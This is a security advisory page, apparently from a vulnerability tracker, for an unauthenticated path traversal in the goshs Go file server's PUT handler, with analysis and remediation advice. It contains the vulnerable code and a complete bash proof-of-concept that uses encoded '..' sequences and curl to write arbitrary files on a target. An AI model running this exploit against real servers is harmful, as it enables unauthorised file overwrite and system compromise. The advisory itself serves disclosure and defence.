Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
4DescriptionGitHub Advisory
Summary
- PUT upload has no path sanitization |
httpserver/updown.go:20-69
This finding affects the default configuration, no flags or authentication required.
Details
File: httpserver/updown.go:20-69 Trigger: PUT /<path> (server.go:57-59 routes directly to put())
The handler uses req.URL.Path raw to build the save path. No filepath.Clean, no .. check, no webroot containment.
func (fs *FileServer) put(w http.ResponseWriter, req *http.Request) {
upath := req.URL.Path // unsanitized
filename := strings.Split(upath, "/")
outName := filename[len(filename)-1]
targetpath := strings.Split(upath, "/")
targetpath = targetpath[:len(targetpath)-1]
target := strings.Join(targetpath, "/")
savepath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, outName)
// ...
os.Create(savepath) // arbitrary path writeUploadFolder defaults to Webroot (main.go:386-388). The path is pure string concatenation with no validation.
Impact: Unauthenticated arbitrary file write anywhere on the filesystem.
PoCs:
#!/usr/bin/env bash
# Write an arbitrary file on a running goshs instance via PUT.
#
# Usage: ./arbitrary_overwrite1.sh <host> <port> <local-file> <absolute-target-path>
set -euo pipefail
HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
LOCAL_FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
if [ ! -f "$LOCAL_FILE" ]; then
echo "[-] Local file not found: $LOCAL_FILE"
exit 1
fi
# 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root.
# Encoding is required so curl does not resolve the traversal client-side.
TRAVERSAL=""
for _ in $(seq 1 16); do
TRAVERSAL="${TRAVERSAL}%2e%2e/"
done
# Strip leading / from target
TARGET_REL="${TARGET#/}"
PUT_PATH="/${TRAVERSAL}${TARGET_REL}"
echo "[*] Source: ${LOCAL_FILE}"
echo "[*] Target: ${TARGET}"
echo "[*] PUT: ${PUT_PATH}"
echo ""
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
--path-as-is \
-X PUT --data-binary "@${LOCAL_FILE}" \
"http://${HOST}:${PORT}${PUT_PATH}")
echo "[*] HTTP ${HTTP_CODE}"
echo "[*] File should now exist at ${TARGET} on the target."To execute it: ./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can
Recommendations
Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.
AnalysisAI
Arbitrary file write in goshs HTTP server allows unauthenticated remote attackers to overwrite any file on the target system via path traversal in PUT requests. The PUT upload handler in goshs (a Go-based simple HTTP server) performs no path sanitization on user-supplied URL paths, enabling direct filesystem access outside the intended webroot through URL-encoded directory traversal sequences (%2e%2e/). CVSS 9.8 reflects network-accessible exploitation requiring no authentication or user interaction. No public exploit identified at time of analysis beyond the proof-of-concept in the security advisory. EPSS data not available, but the trivial exploit complexity (single curl command with --path-as-is flag) and default-vulnerable configuration present significant risk to exposed instances.
Technical ContextAI
The vulnerability resides in goshs's PUT request handler (httpserver/updown.go), a Go-based file server utility. The affected code directly concatenates the raw HTTP request URL path (req.URL.Path) with the configured UploadFolder directory without applying filepath.Clean() normalization or validating containment within the webroot. Go's net/http router passes URL paths as-is to handlers, meaning URL-encoded traversal sequences like %2e%2e/ (representing ../) bypass client-side normalization when the --path-as-is curl flag is used. The server then passes this unsanitized string to os.Create(), allowing writes to arbitrary filesystem locations. This is a classic CWE-22 (Path Traversal) vulnerability where insufficient input validation on file path construction enables directory traversal attacks. The UploadFolder defaults to Webroot in the application's main configuration, but the lack of any path boundary checking means an attacker can escape any configured directory through repeated traversal sequences.
RemediationAI
Users should immediately upgrade to the patched version of goshs available from the project's GitHub repository at github.com/patrickhener/goshs. The vendor security advisory at https://github.com/patrickhener/goshs/security/advisories/GHSA-g8mv-vp7j-qp64 contains specific remediation guidance. The fix implements proper path sanitization using filepath.Clean() to normalize paths and validates that resolved file paths remain within the intended webroot boundary before file operations. Until patching is possible, operators should disable PUT request handling entirely by blocking HTTP PUT methods at the reverse proxy or firewall layer, or restrict goshs access to trusted networks only via firewall rules. Network segmentation to prevent goshs instances from being directly internet-accessible provides defense-in-depth. Do not rely on authentication overlays alone as the vulnerability exists in the core request handling logic before any authentication checks.
Same weakness CWE-22 – Path Traversal
View allSame technique Path Traversal
View allVendor StatusVendor
SUSE
Severity: Critical| Product | Status |
|---|---|
| openSUSE Tumbleweed | Fixed |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-19488
GHSA-g8mv-vp7j-qp64